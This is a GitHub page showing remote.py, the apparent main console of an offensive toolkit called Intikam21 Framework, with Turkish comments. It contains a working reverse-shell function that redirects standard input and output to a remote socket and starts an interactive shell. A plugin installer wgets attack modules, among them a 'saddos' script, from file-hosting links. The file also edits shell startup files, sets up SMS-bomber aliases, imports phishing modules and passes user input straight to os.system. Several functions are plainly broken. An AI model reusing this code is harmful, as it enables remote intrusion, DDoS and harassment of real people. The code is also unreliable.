-
-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathremote.py
More file actions
1811 lines (1659 loc) · 63.9 KB
/
remote.py
File metadata and controls
1811 lines (1659 loc) · 63.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
global phisherserror
global clouderror
import os
try:
os.system("$INTFRAMEWORK_PATH") or os.system("echo $INTFRAMEWORK_PATH")
except:
os.system("export INTFRAMEWORK_PATH=$PREFIX/opt/intframework") or os.system("export INTFRAMEWORK_PATH=usr/opt/intframework")
cto = 0
try:
if cto != 0:
pass
else:
os.system("echo 'export intmodules_path=$INTFRAMEWORK_PATH/modules' >> ~/.bashrc; echo 'export intmodules_path=$INTFRAMEWORK_PATH/modules' >> ~/.zshrc")
cto += 1
except:
pass
from pyfiglet import Figlet
from colorama import Fore, init, Style
import threading
import requests
import time
import sys
import os
import base64
import time as t
import argparse
import sys
import platform
import getpass
import subprocess
import socket
import psutil
from netaddr import IPNetwork, IPAddress
import argparse
import socket
import re
import threading
import time
import sys
import random
import urllib.request
from queue import Queue
import sqlite3
import json
import requests
import subprocess
import os
import pathlib
import subprocess
import colorama
from colorama import Fore, Back, Style
import inttable
from modules.commands.banner import *
from modules.commands.dns_lookup import *
try:
from modules import evasionint
except:
pass
try:
from modules import usersearcher
except:
pass
try:
from modules.usersearcher import searchus, banner, outer_func
except:
pass
try:
from modules.exploit_searcher import search_exploits, download_exploit
except:
pass
try:
from modules import exploit_searcher
except:
pass
try:
from modules import expdatabase
except:
pass
try:
from modules.expdatabase import create_option, create_exploit, show_options, set_option, run_exploit, use_framework, import_framework, initialize_framework
from modules.expdatabase import import_framework, show_options, set_option, run_exploit, use_framework, create_exploit
except:
print("exploit database not found please reinstall framework")
pass
try:
from modules import intmodules
except:
pass
try:
import intattack
except:
pass
try:
from modules.Auxiliary import *
except Exception as e:
print("[01.intbase] modules.Auxiliary Not founded please reinstall framework")
pass
try:
from modules.exploits import *
except Exception as e:
print("[02.intbase] modules.exploit Not founded please reinstall framework")
pass
try:
from modules.exploits import *
except Exception as e:
print("[03.intbase] modules.exploit Not founded please reinstall framework")
pass
try:
from modules import login
except Exception as e:
pass
try:
from cloud import intcloud
clouderror = False
except Exception as e:
clouderror = True
pass
try:
from PHİSHERS import *
phisherserror = False
except Exception as e:
phisherserror = True
pass
try:
from modules import *
except Exception as e:
pass
try:
from modules import network_scan
except Exception as e:
try:
import network_scan
except Exception as e:
pass
pass
try:
from network_scan import *
except:
pass
try:
from exploiter import *
except:
pass
try:
from uuid_changer import *
except:
pass
def manager():
import plugin_manager as PluginManager
manager = PluginManager.PluginManager(plugin_dir="plugins", event_manager=event_manager)
init(autoreset=True)
import plugin_manager as PluginManager
pg_manager = PluginManager.PluginManager(plugin_dir="plugins")
import os
from colorama import Fore
def pro_plugin():
try:
with open("pro.int4", "r+") as pg_pro:
check_pro = pg_pro.read()
if "pro_plugin" in check_pro:
print(f"{Fore.GREEN}[+] Pro plugins are already installed.")
else:
print("Installing pro plugins...")
# Download and move the first plugin
os.system("wget -O modules/attackers/saddos.py 'https://www.mediafire.com/file/3j3cfk9fnwyhvnd/saddos.py/file?dkey=mvcx5j2ljzi&r=1279'")
# Download and move the second plugin
os.system("wget -O modules/attackers/intattack.py 'https://download1326.mediafire.com/4f1pgnduz33gbdUNEB0Rx1T0LbSJcSXzrf2pZHJseaL9bd4PRqFN2d4-3qo_kbcHNK_FhoFm17Y5hJq1L29hZHPdMH6r9mb3KBqeG-pLkcdLy39rx2i5Hu0cnzVYKlO_6SNfNiA2FWeVPCx6TqaDKu6sM_yl1-YC4XtwFrFxUUlqduU/qeawqkw70hn6s6b/intattack.py'")
# Write "pro_plugin" flag to file
pg_pro.write("pro_plugin")
print(f"{Fore.GREEN}[+] Pro plugins installed successfully. Please restart the framework.")
except FileNotFoundError:
print("File pro.int4 not found. Ensure it exists and try again.")
import os
import sqlite3
class NmapDatabase:
def __init__(self, db_name='nmap_results.db'):
self.db_name = db_name
self.conn = sqlite3.connect(self.db_name)
self.create_table()
def create_table(self):
"""Veritabanında bir tablo oluşturur."""
with self.conn:
self.conn.execute('''
CREATE TABLE IF NOT EXISTS scans (
id INTEGER PRIMARY KEY,
target TEXT NOT NULL,
port INTEGER NOT NULL,
protocol TEXT NOT NULL,
state TEXT NOT NULL,
service TEXT
)
''')
def insert_scan_result(self, target, port, protocol, state, service):
"""Tarama sonuçlarını veritabanına ekler."""
with self.conn:
self.conn.execute('''
INSERT INTO scans (target, port, protocol, state, service)
VALUES (?, ?, ?, ?, ?)
''', (target, port, protocol, state, service))
def list_scan_results(self):
"""Veritabanındaki tarama sonuçlarını listeler."""
cursor = self.conn.cursor()
cursor.execute('SELECT * FROM scans')
rows = cursor.fetchall()
for row in rows:
print(row)
def clear_database(self):
"""Veritabanını temizler."""
with self.conn:
self.conn.execute('DROP TABLE IF EXISTS scans')
self.create_table() # Yeniden tablo oluştur
def close(self):
"""Veritabanı bağlantısını kapatır."""
self.conn.close()
class NmapScanner:
def __init__(self):
self.db = NmapDatabase()
def run_command(self, command):
"""Kullanıcıdan alınan Nmap komutunu çalıştırır."""
try:
print(f"Executing command: {command}")
result = os.popen(command).read()
print(result)
self.save_results_to_db(result, command)
except Exception as e:
print(f"An error occurred: {e}")
def save_results_to_db(self, result, command):
"""Tarama sonuçlarını veritabanına kaydeder."""
target = command.split()[-1] # Hedef IP veya hostname'i al
try:
for line in result.splitlines():
if "/tcp" in line: # TCP portları içeren satırları kontrol et
parts = line.split()
port_info = parts[0].split('/') # Port bilgilerini ayır
port = int(port_info[0]) # Port numarasını al
protocol = port_info[1] # Protokolü al
state = parts[-1] # Durumu al
service = parts[1] if len(parts) > 1 else None # Servis adını al
self.db.insert_scan_result(target, port, protocol, state, service)
print(f"Scan results for {target} saved to database.")
except Exception as e:
print(f"An error occurred while saving results to DB: {e}")
def execute_allowed_commands(command):
# Komutları '&&' veya ';' ile kontrol et ve sırayla çalıştır
if "&&" in command:
commands = command.split("&&") # '&&' ile ayır
elif ";" in command:
commands = command.split(";") # ';' ile ayır
else:
commands = [command] # Tek bir komut varsa
for cmd in commands:
cmd = cmd.strip() # Gereksiz boşlukları kaldır
try:
os.system(f"intconsole -x {cmd}") # Komutu çalıştır
except Exception as e:
print(f"Errored: {cmd} is doesnt working. {e}")
def data():
global LHOSTS
global LPORTS
global RHOSTS
global RPORTS
def False_adresses():
adr = "$INTFRAMEWORK_PATH"
random = ["a", "b", "c", "d", "e", "f", "g", "ğ", "h", "ı", "i", "j", "k", "l", "m", "n", "o", "ö", "p", "r", "s", "ş", "t", "u", "ü", "v", "y","x", "z"]
selecter_num = random.randint(1, 20)
selecter = random.select(random, selecter_num)
user = help_input
special_characters = ["@", "#", "$", "&", "%" "~"]
if user in random and special_characters:
if user in random and special_characters and selecter_num:
random_super = user
else:
random_super = user
pool = ["{adr}/multi/handler/", "{adr}/modules/enum_{random_super}"]
return pool
def check_network():
try:
# Attempt to connect to Google's DNS server
socket.create_connection(("8.8.8.8", 53))
return True
except OSError:
return False
print("You are int-py mode")
# intconsole komutu
# ASCII sanatı
init()
global jobs
# Initialize jobs dictionary
jobs = {}
# Function to add a job
def add_job(job_name, exploit=None):
job_id = len(jobs) + 1
jobs[job_id] = {'name': job_name, 'exploit': exploit}
# Function to list jobs
def list_jobs():
for job_id, job_info in jobs.items():
job_name = job_info['name']
exploit = job_info['exploit']
print(f"[{job_id}] {job_name}: executed")
print("EXPLOITS")
print("==========")
print(f" {job_id} {exploit if exploit else 'None'}")
# Job silme fonksiyonu
def kill_job(job_id):
if job_id in jobs:
print(f"Job [{job_id}] ({jobs[job_id]}) stopped and removed.")
del jobs[job_id]
else:
print(f"No job found with ID: {job_id}")
# Global dictionary to store the options
options = {
'LHOST': '0.0.0.0',
'LPORT': '4444',
'RHOST': '127.0.0.1', # Default RHOST
'RPORT': '80', # Default RPORT
'PAYLOAD': 'intframework/payloads/reverse_shell.py'
}
global_variables = {} # Global değişkenler
local_variables = {} # Yerel değişkenler
# Set edilen değişkenlerin kaydedileceği dosya (Python formatında)
intframework_path = os.getenv("INTFRAMEWORK_PATH")
if intframework_path is None:
print("Error: INTFRAMEWORK_PATH environment variable is not set.")
else:
db_path = os.path.join(intframework_path, "lib", "intpro", ".conf")
# setdb fonksiyonu, değişkenleri .conf dosyasına kaydeder
def setdb(variable, value):
try:
# INTFRAMEWORK_PATH ortam değişkeni kontrol ediliyor
intframework_path = os.getenv("INTFRAMEWORK_PATH")
if not intframework_path:
raise ValueError("INTFRAMEWORK_PATH not set in environment variables.")
# Dosyanın var olup olmadığını kontrol et
if not os.path.exists(db_path):
# Eğer dosya yoksa, oluştur
with open(db_path, "w") as f:
f.write("# Configuration file for set variables\n")
# Python formatında değişkeni dosyaya yaz
with open(db_path, "a") as db_file:
db_file.write(f"{variable} = '{value}'\n")
print(f"{Fore.GREEN}[+] Variable '{variable}' set to '{value}' and saved to {db_path}.{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[-] Error in setdb: {e}{Style.RESET_ALL}")
# set fonksiyonu, kullanıcı tarafından belirtilen değişkeni global veya yerel olarak ayarlar
def set_variable(variable, value, global_scope=False):
try:
if global_scope:
global_variables[variable] = value
else:
local_variables[variable] = value
print(f"{Fore.GREEN}[+] Set variable '{variable}' to '{value}'{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[-] Error setting variable: {e}{Style.RESET_ALL}")
# Global değişkenler için set fonksiyonu (setg)
def setg(variable, value):
set_variable(variable, value, global_scope=True)
# set fonksiyonu (yerel değişkenler için)
def set(variable, value):
set_variable(variable, value, global_scope=False)
# Modülün tüm seçeneklerini göster
def show_options():
if modules == "":
print(f"{Fore.RED}[-] No module loaded.{Style.RESET_ALL}")
return
print(f"{Fore.YELLOW}[*] Showing options for module: {Fore.CYAN}{modulename}{Style.RESET_ALL}")
try:
# Yüklenen modülün Python dosyasını dinamik olarak import ediyoruz
module = importlib.import_module(modules)
# Modülün options kısmı var mı kontrol edelim
if not hasattr(module, 'options'):
print(f"{Fore.RED}[-] No options found for the module.{Style.RESET_ALL}")
return
options = module.options
if not options:
print(f"{Fore.RED}[-] No options available for this module.{Style.RESET_ALL}")
return
# Her bir seçeneği kullanıcıya detaylı bir şekilde sunalım
for option, details in options.items():
print(f"{Fore.YELLOW}[*] Option: {Fore.CYAN}{option}{Style.RESET_ALL}")
print(f" {Fore.GREEN}Description:{Style.RESET_ALL} {details.get('description', 'No description available.')}")
print(f" {Fore.GREEN}Type:{Style.RESET_ALL} {details.get('type', 'Unknown')}")
print(f" {Fore.GREEN}Default Value:{Style.RESET_ALL} {details.get('default', 'None')}")
print(f" {Fore.YELLOW}[*] Usage Example:{Style.RESET_ALL} {details.get('example', 'None')}")
print("")
except Exception as e:
print(f"{Fore.RED}[!] Error while fetching options for module: {e}{Style.RESET_ALL}")
# run fonksiyonu, set edilen değerlerle çalıştırır
def srun():
try:
if not modules:
raise ValueError("No module loaded. Use the 'use' command first.")
# Modülün yolunu ve adını yazdır
print(f"{Fore.CYAN}[*] Running module: {modules}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[+] Using the following variables:{Style.RESET_ALL}")
# Tüm değişkenleri göster
all_variables = {**global_variables, **local_variables}
for var, val in all_variables.items():
print(f" {Fore.GREEN}{var}{Style.RESET_ALL}: {val}")
# Modülü çalıştırmak için komut oluştur
command = f"python3 {modules}"
# Komutu çalıştır
print(f"{Fore.YELLOW}[*] Executing: {command}{Style.RESET_ALL}")
os.system(command)
print(f"{Fore.GREEN}[+] Module '{modulename}' executed successfully with variables!{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[-] Error in run: {e}{Style.RESET_ALL}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
os.system("clear")
if check_network():
print("")
add_job("network")
else:
print("you are offline")
def bind_tcp(lhosts, lports):
try:
s.bind(lhosts, lports)
conn, addr = s.accept()
print("tcp addr is accepted ")
except:
print("tcp addr is not value or not accepted")
def reverse_tcp(rhosts, rports, addr):
try:
# Connect to the remote host and port
s.connect((rhosts, rports))
# Redirect standard input/output/error to the socket
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call([addr, '-i'])
except Exception as e:
print(f"Error: {e}")
s.close()
def payloads():
global meterpreter
global payloads
global payload_name
global platform_g
platform_g = platform.system()
payload_name = ["/intchat/spesific", "/intframework/effuse/1", "/intframework/effuse/2", "/intframework/effuse/3", "/intframework/effuse/4", "/intframework/effuse/5", "/intframework/effuse/6", "/intframework/effuse/7", "/intframework/web/1", "/intframework/web/2", "/intframework/web/3", "/intframework/web/4", "/intframework/web/5", "/intframework/introjan/1", "/intframework/introjan/2", "/intframework/cam/1"]
meterpreter = []
for pn in payload_name:
meterpreter.append(f"/{platform_g}{pn}/payloads/meterpreter/reverse_tcp")
meterpreter.append(f"/{platform_g}{pn}/payloads/meterpreter/bind_tcp")
meterpreter.append(f"/{platform_g}{pn}/payloads/meterpreter_reverse_tcp")
meterpreter.append(f"/{platform_g}{pn}/payloads/meterpreter_bind_tcp")
def search_payloads(term):
global meterpreter
return [payload for payload in meterpreter if term in payload]
def strips(help_input, name):
return help_input.split("=", 1)[1].strip() if "=" in help_input else help_input[help_input.find(f"set {name} ") + len(f"set {name} "):].strip() if help_input.find(f"set {name} ") != -1 else help_input.strip()
def print_payloads(payload_list):
for payload in payload_list:
platform_part = payload.split('/')[1]
path_part = '/'.join(payload.split('/')[2:])
path_part_colored = path_part.replace('effuse', f"{Fore.BLUE}effuse{Style.RESET_ALL}")
path_part_colored = path_part_colored.replace('web', f"{Fore.BLUE}web{Style.RESET_ALL}")
path_part_colored = path_part_colored.replace('introjan', f"{Fore.BLUE}introjan{Style.RESET_ALL}")
path_part_colored = path_part_colored.replace('cam', f"{Fore.BLUE}cam{Style.RESET_ALL}")
platform_colored = f"{Fore.RED}{platform_part}{Style.RESET_ALL}"
meterpreter_colored = payload.split('/')[-1].replace('meterpreter', f"{Fore.RED}meterpreter{Style.RESET_ALL}")
meterpreter_colored = meterpreter_colored.replace('reverse_tcp', f"{Style.BRIGHT}reverse_tcp{Style.RESET_ALL}")
meterpreter_colored = meterpreter_colored.replace('bind_tcp', f"{Style.BRIGHT}bind_tcp{Style.RESET_ALL}")
final_payload = f"/{platform_colored}/{path_part_colored}"
print(final_payload.replace(payload.split('/')[-1], meterpreter_colored))
def used(used):
if used == "used":
pass
else:
print('you are not used')
def reverse_used(used, helper):
if used == "used":
print(f"[{Fore.RED}intbase{Fore.RESET}] you are used the tool", f"""
example usage:
{helper}
""")
else:
pass
def dev_tools(dir, tool, norm):
os.system(f"cd {dir}")
if tool.lower() == "imei":
os.system("""echo "imei='python /data/data/com.termux/files/home/intframework/imei.py' >> $INTFRAMEWORK_PATH/.bashrc """)
used = "used"
used(used)
if tool.lower() == "sms" or "smsbomber" or "smsbomb":
os.system("""echo "alias sms='python /data/data/com.termux/files/home/intframework/sms.py' >> $INTFRAMEWORK_PATH/.bashrc """)
if tool.lower() == "connectbot":
os.system("""echo "alias connectbot='python /data/data/com.termux/files/home/intframework/connectbot.py' >> $INTFRAMEWORK_PATH/.bashrc """)
used_dev_tools = "used"
os.system("source ~/.bashrc")
used(used_dev-tools)
def launch_normaltools():
pass
def search_evasions():
os.system("python3 evasionint.py -s")
def listen_p(ip, port):
# Soket oluştur
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((ip, port))
server_socket.listen(5) # 5'e kadar bekleme kuyruğu
print(f"Listening on {ip}:{port}")
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
while True:
data = client_socket.recv(1024)
if not data:
break
print(f"Received data: {data.decode('utf-8')}")
client_socket.close()
print(f"Connection from {addr} closed")
def login(username, password):
login.register(username, password)
def bannerss(help_input):
global bannerss
bannerss = help_input[12:] or help_input[15:]
banner()
banners += bannerss
def inputrs(sk):
if sk.lower("y" or "yes"):
pass
if sk.lower("n" or "no"):
exit()
else:
exit()
def parse_input(input_str):
parts = input_str.split(':')
if len(parts) == 1:
return parts[0].split()[0], None
elif len(parts) == 2:
if parts[1].isdigit():
return parts[0].split()[0], int(parts[1])
else:
raise ValueError("Geçersiz giriş formatı. Port sayısı geçerli bir tamsayı olmalıdır.")
else:
raise ValueError("Geçersiz giriş formatı. IP adresi/domain ve opsiyonel olarak port giriniz.")
def db_connect():
# Veritabanına bağlan (örneğin, SQLite kullanıyorsanız)
connection = sqlite3.connect('database.db')
cursor = connection.cursor()
return connection, cursor
def db_list(connection=sqlite3.connect('database.db'), cursor="connection.cursor()"):
# Komutları listeleyin (örneğin, veritabanındaki tabloları listeleme)
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
tables = cursor.fetchall()
for table in tables:
print(f"Tablo adı: {table[0]}")
def db_disconnect(connection=sqlite3.connect('database.db')):
# Bağlantıyı kapat
connection.close()
payloads = None
prompt = None
def get_meterpreter():
global payloads
try:
result = subprocess.run(["python3", "intmeterpreter.py", "-pe"], check=True, capture_output=True, text=True)
payloads = result.stdout.strip() # Ensure payloads are stripped of any extra whitespace
except subprocess.CalledProcessError as e:
pass
def check_ip(ip):
# Check if the IP address is valid
try:
socket.inet_aton(ip)
print(f"{ip} is a valid IP address.")
except socket.error:
print(f"{ip} is not a valid IP address.")
return
# Try to connect to the IP address
try:
response = requests.get(f"http://{ip}")
if response.status_code == 200:
print(f"Successfully connected to {ip}.")
else:
print(f"Failed to connect to {ip}, status code: {response.status_code}")
except requests.ConnectionError:
print(f"Failed to connect to {ip}.")
def exploits(exp_name, output=None):
os.system(f"python3 exploit_searcher.py keyword {exp_name} {'-o ' + output if output else ''}")
def listen(ip):
HOST = ip
PORT = 5555
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((HOST, PORT))
s.listen(1)
print('Socket bind complete')
conn, addr = s.accept()
print('Connected with ' + addr[0] + ':' + str(addr[1]))
add_job(f"Listening {host}")
except socket.error as msg:
print('Bind failed. Error Code : ' + str(msg.errno) + ' Message ' + msg.strerror)
pass
def user_count(help_input, repeat_count=2):
inputs = []
targets = ["set rhosts", "set rports", "set lports", "set lports", "set rhost", "set rport"]
inputs.append(help_input)
if help_input.lower() in targets and inputs.count(help_input) == repeat_count:
if targets == "set rhosts" or "set rhost":
print("""you are used rhosts you are must use ("del rhosts") or ("del rhost") """)
if targets == "set rport" or "set rports":
print("""you are used rhosts you are must use ("del rports") or ("del rport") """)
if targets == "set lhost" or "set lhosts":
print("""you are used rhosts you are must use ("del lhosts") or ("del lhost") """)
if targets == "set rhosts" or "set rhost":
print("""you are used rhosts you are must use ("del lports") or ("del lport") """)
def is_root():
return os.getuid() == 0
def scan_wifispy():
if not is_root():
wifi = PyWiFi()
iface = wifi.interfaces()[0] # Kullanmak istediğiniz WiFi arayüzünü seçin.
iface.scan()
iface.scan_results()
results = iface.scan_results()
for network in results:
print(f"SSID: {network.ssid}, BSSID: {network.bssid}, Signal Level: {network.signal}")
else:
print("wifi not found")
pass
if is_root():
if packet.haslayer(Dot11Beacon):
ssid = packet[Dot11].info.decode()
bssid = packet[Dot11].addr3
level = packet.dBm_AntSignal
print(f"SSID: {ssid}, BSSID: {bssid}, Signal Level: {level}")
else:
print("wifi not found")
pass
from colorama import Fore, Style, init
init()
def scan5115(interface):
import pywifi
from wifi import Cell, Scheme
import scapy.all as scapy
try:
networks = Cell.all(interface)
inttable.write("network_scanned!")
except FileNotFoundError:
print("iwlist not found")
if os.getuid() == 0:
print("[intbase] device is not rooted!")
inttable.write("Device is not Rooted!")
print(f"{len(networks)} adet kablosuz ağ bulundu:")
for network in networks:
print(f"SSID: {network.ssid}")
print(f"BSSID (MAC): {network.address}")
print(f"Sinyal Gücü: {network.signal} dBm")
print(f"Şifreleme: {network.encryption_type}\n")
def use_module(command):
global modules, modulename
try:
# Komutun doğru formatta olup olmadığını kontrol et
if command.startswith("use intframework/") or command.startswith("use "):
# `use ` kısmını çıkar ve modül yolunu al
module_path = command.split(" ", 1)[1].replace("::", "/")
modulename = os.path.basename(module_path) # Dosya adını al
modules = module_path # Global değişken olarak belirle
# Modül bilgilerini kullanıcıya göster
get_input(modules=module_path, modulename=modulename)
inttable.write(f"[>] use module: {modules}")
print(f"\n{Fore.YELLOW}[*] Loading module: {Fore.CYAN}{module_path}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[*] Module: {Fore.GREEN}{modulename}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[*] Successfully loaded.{Style.RESET_ALL}\n")
else:
print(f"\n{Fore.RED}[-] Invalid command.{Style.RESET_ALL} Use '{Fore.CYAN}use intframework/path/to/module_name{Style.RESET_ALL}' or '{Fore.CYAN}use path/to/module_name{Style.RESET_ALL}'.\n")
except Exception as e:
print(f"{Fore.RED}[!] Error: {e}{Style.RESET_ALL}\n")
def check_if_argparse_used(module_path):
"""Argparse kullanımı kontrol eder"""
try:
with open(module_path, "r") as f:
content = f.read()
if 'argparse' in content:
return True
return False
except Exception as e:
print(f"Error reading the module file: {e}")
return False
# Directories to search
dirs_int = ["intPRO", "modules", "PHİSHERS", "tools"]
inttablecore = inttable.core()
try:
inttablecore.activate("root")
except:
pass
import pathlib
from colorama import Fore, Style
def list_all_files(directories):
"""
List all files in the specified directories
- directories: Directories to search in.
"""
file_paths = []
for directory in directories:
base_path = pathlib.Path(directory)
if not base_path.exists():
print(Fore.RED + f"[!] Directory not found: {directory}")
continue
for file in base_path.rglob('*'): # Use rglob to search all files
if file.is_file():
file_paths.append(file)
return file_paths
def search_in_file(file_path, filters, raw_term):
"""
Search for a term in a file and return the matching lines based on filters
- file_path: The file to search in.
- filters: Dictionary with search parameters.
- raw_term: The raw search term (if no filters are used).
"""
matching_lines = []
try:
with open(file_path, 'r', encoding='utf-8', errors='ignore') as file:
for line in file:
line_lower = line.lower()
# Eğer filtreler varsa filtrelere göre ara
if filters:
if all(f"{key}:{value}" in line_lower for key, value in filters.items()):
matching_lines.append(line.strip())
# Eğer filtre yoksa, sadece normal kelimeyi ara
elif raw_term and raw_term.lower() in line_lower:
matching_lines.append(line.strip())
except Exception as e:
print(Fore.RED + f"[!] Error: Could not read the file {file_path}: {e}")
return matching_lines
def display_files(file_paths):
"""
Display the list of files found
"""
if file_paths:
print(Fore.GREEN + Style.BRIGHT + "[*] All Files:")
for file in file_paths:
print(Fore.CYAN + f" [+] {str(file)}")
else:
print(Fore.RED + "[!] No files found.")
def search(files, filters, raw_term):
"""
Search for terms in all files based on filters or raw term.
- files: List of files to search in.
- filters: Dictionary containing search parameters.
- raw_term: The normal search term if no filters are used.
"""
search_results = {}
for file in files:
matching_lines = search_in_file(file, filters, raw_term)
if matching_lines:
search_results[file] = matching_lines
return search_results
def display_search_results(results):
"""
Display the search results
"""
if results:
print(Fore.GREEN + Style.BRIGHT + "\n[*] Search Results:")
for file, lines in results.items():
print(Fore.YELLOW + f"\n[+] {file}:")
for line in lines:
print(Fore.CYAN + f" [*] {line}")
else:
print(Fore.RED + "[!] No matches found.")
def parse_search_term(search_term):
"""
Parse the search term to extract filters like type, name, platform.
- search_term: Raw input string (e.g., "type:exploit name:mysql platform:aix" or "apache")
"""
filters = {}
terms = search_term.split()
raw_term = ""
for term in terms:
if ":" in term:
key, value = term.split(":", 1)
filters[key.lower()] = value.lower()
else:
raw_term += f"{term} " # Normal kelimeleri topluyor
return filters, raw_term.strip()
def us_search(search_term):
"""
Perform a search using the given search term in the specified directories.
- search_term: The term to search for.
"""
# Parse filters and raw term
filters, raw_term = parse_search_term(search_term)
# List all files in the directories
file_paths = list_all_files(dirs_int)
# Display available files
display_files(file_paths)
# Perform the search with filters or raw term
results = search(file_paths, filters, raw_term)
# Display the search results
display_search_results(results)
def detect_interpreter(module_path):
"""
Detect the appropriate interpreter for a given file based on its extension,
shebang line, or defaults for Intikam21 Framework.
"""
try:
# 1. Dosya mevcut mu kontrol et
if not os.path.isfile(module_path):
print(f"{Fore.RED}[!] Module not found: {Fore.CYAN}{module_path}{Style.RESET_ALL}")
return None # Dosya yoksa None döndür
# 2. Dosya uzantısını kontrol et
extension = os.path.splitext(module_path)[1].lower()
interpreter_by_extension = {
".py2": "python2", # Özel Python 2 uzantısı
".py": "python3", # Varsayılan olarak Python 3
".c": "gcc",
".cpp": "g++",
".cs": "csharp",
".js": "node",
".rb": "ruby",
".php": "php",
".pl": "perl",
".sh": "bash",
".go": "go run",
".sql": "sqlcmd",
".html": "browser",
".lua": "lua",
".ps1": "powershell" # PowerShell desteği
}
# Uzantıya göre yorumlayıcı belirle
if extension in interpreter_by_extension:
# Eğer uzantı ".py" ise, kullanıcı Python 2 için mi yoksa Python 3 için mi çalıştıracağını seçebilir.
if extension == ".py":
with open(module_path, 'r', buffering=1024) as file:
first_line = file.readline().strip()
if "python2" in first_line: # Shebang Python 2 mi işaret ediyor?
return "python2"
else:
return "python3" # Varsayılan olarak Python 3
return interpreter_by_extension[extension]
# 3. Eğer uzantı bilinmiyorsa, shebang satırını kontrol et
with open(module_path, 'r', buffering=1024) as file:
first_line = file.readline().strip()
if first_line.startswith("#!"):
if "python2" in first_line:
return "python2"
elif "python" in first_line or "python3" in first_line:
return "python3"
elif "ruby" in first_line:
return "ruby"
elif "php" in first_line:
return "php"
elif "perl" in first_line:
return "perl"
elif "node" in first_line or "javascript" in first_line:
return "node"
elif "gcc" in first_line or "clang" in first_line:
return "gcc"
elif "g++" in first_line or "cpp" in first_line:
return "g++"
elif "bash" in first_line or "sh" in first_line:
return "bash"
elif "go" in first_line:
return "go run"
elif "lua" in first_line:
return "lua"
elif "powershell" in first_line or "pwsh" in first_line:
return "powershell"
